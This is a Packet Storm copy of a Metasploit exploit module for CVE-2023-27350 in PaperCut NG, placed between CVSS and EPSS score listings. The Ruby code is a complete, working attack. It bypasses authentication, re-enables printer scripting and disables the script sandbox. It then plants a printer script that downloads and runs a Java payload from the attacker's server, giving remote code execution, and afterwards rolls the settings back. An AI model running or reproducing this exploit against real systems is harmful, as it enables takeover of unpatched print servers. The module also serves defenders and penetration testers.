Lucene search

K
packetstormCatatonicprime, metasploit.comPACKETSTORM:172780
HistoryJun 07, 2023 - 12:00 a.m.

PaperCut PaperCutNG Authentication Bypass

2023-06-0700:00:00
catatonicprime, metasploit.com
packetstormsecurity.com
126
papercut ng
authentication bypass
arbitrary code execution
rhinojs engine
application log modification

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'cgi'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PaperCut PaperCutNG Authentication Bypass',  
'Description' => %q{  
This module leverages an authentication bypass in PaperCut NG. If necessary it  
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'  
and 'print.script.sandboxed' options to allow for arbitrary code execution running in  
the builtin RhinoJS engine.  
  
This module logs at most 2 events in the application log of papercut. Each event is tied  
to modifcation of server settings.  
},  
'License' => MSF_LICENSE,  
'Author' => ['catatonicprime'],  
'References' => [  
['CVE', '2023-27350'],  
['ZDI', '23-233'],  
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],  
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],  
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],  
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']  
],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [ [ 'Automatic Target', {}] ],  
'Platform' => [ 'java' ],  
'Arch' => ARCH_JAVA,  
'Privileged' => true,  
'DisclosureDate' => '2023-03-13',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => '9191',  
'SSL' => 'false'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),  
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])  
], self.class  
)  
@csrf_token = nil  
@config_cleanup = []  
end  
  
def bypass_auth  
# Attempt to generate a session & recover the anti-csrf token for future requests.  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_get' => {  
'service' => 'page/SetupCompleted'  
}  
}  
)  
return nil unless res && res.code == 200  
  
vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")  
  
# Parse the application version from the response for future decisions.  
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]  
if product_details.nil?  
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')  
end  
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')  
@version_major = Integer(version_match[:major])  
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)  
@csrf_token = match ? match[:csrf] : ''  
end  
  
def get_config_option(name)  
# 1) do a quickfind (setting the tapestry state)  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/ConfigEditor/quickFindForm',  
'sp' => 'S0',  
'Form0' => '$TextField,doQuickFind,clear',  
'$TextField' => name,  
'doQuickFind' => 'Go'  
}  
}  
)  
# 2) parse and return the result  
return nil unless res && res.code == 200 && (html = res.get_html_document)  
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))  
return nil unless td.count == 1 && td.text == name  
  
value_input = html.xpath("//input[@name='$TextField$0']")  
value_input[0]['value']  
end  
  
def set_config_option(name, value, rollback)  
# set name:value pair(s)  
current_value = get_config_option(name)  
if current_value == value  
vprint_good("Server option '#{name}' already set to '#{value}')")  
return  
end  
  
vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/ConfigEditor/$Form',  
'sp' => 'S1',  
'Form1' => '$TextField$0,$Submit,$Submit$0',  
'$TextField$0' => value,  
'$Submit' => 'Update'  
}  
}  
)  
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200  
# skip storing the cleanup change if this is rolling back a previous change  
@config_cleanup.push([name, current_value]) unless rollback  
end  
  
def cleanup  
super  
if @config_cleanup.nil?  
return  
end  
  
until @config_cleanup.empty?  
cfg = @config_cleanup.pop  
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")  
set_config_option(cfg[0], cfg[1], true)  
end  
end  
  
def primer  
payload_uri = get_uri  
script = <<~SCRIPT  
var urls = [new java.net.URL("#{payload_uri}.jar")];  
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);  
s;  
SCRIPT  
  
# The number of parameters passed changed in version 17.  
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'  
if @version_major > 16  
form0 += ',$Submit$1'  
end  
# 6) Trigger the code execution the printer_id  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',  
'sp' => 'S0',  
'Form0' => form0,  
'enablePrintScript' => 'on',  
'$Submit$1' => 'Apply',  
'printerId' => 'l1001',  
'scriptBody' => script  
}  
}  
)  
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200  
end  
  
def check  
# For the check command  
bypass_success = bypass_auth  
if bypass_success.nil?  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
# Main function  
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.  
bypass_auth unless @csrf_token  
if @csrf_token.nil?  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
# Sandboxing wasn't introduced until version 19  
if @version_major >= 19  
# 2) Enable scripts, if needed  
set_config_option('print-and-device.script.enabled', 'Y', false)  
  
# 3) Disable sandboxing, if needed  
set_config_option('print.script.sandboxed', 'N', false)  
end  
# 5) Select the printer, this loads it into the tapestry session to be modified  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_get' => {  
'service' => 'direct/1/PrinterList/selectPrinter',  
'sp' => 'l1001'  
}  
}  
)  
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200  
  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
# When the server stop due to our timeout, this is raised  
end  
  
def on_request_uri(cli, request)  
vprint_status("Sending payload for requested uri: #{request.uri}")  
send_response(cli, payload.raw)  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

98.8%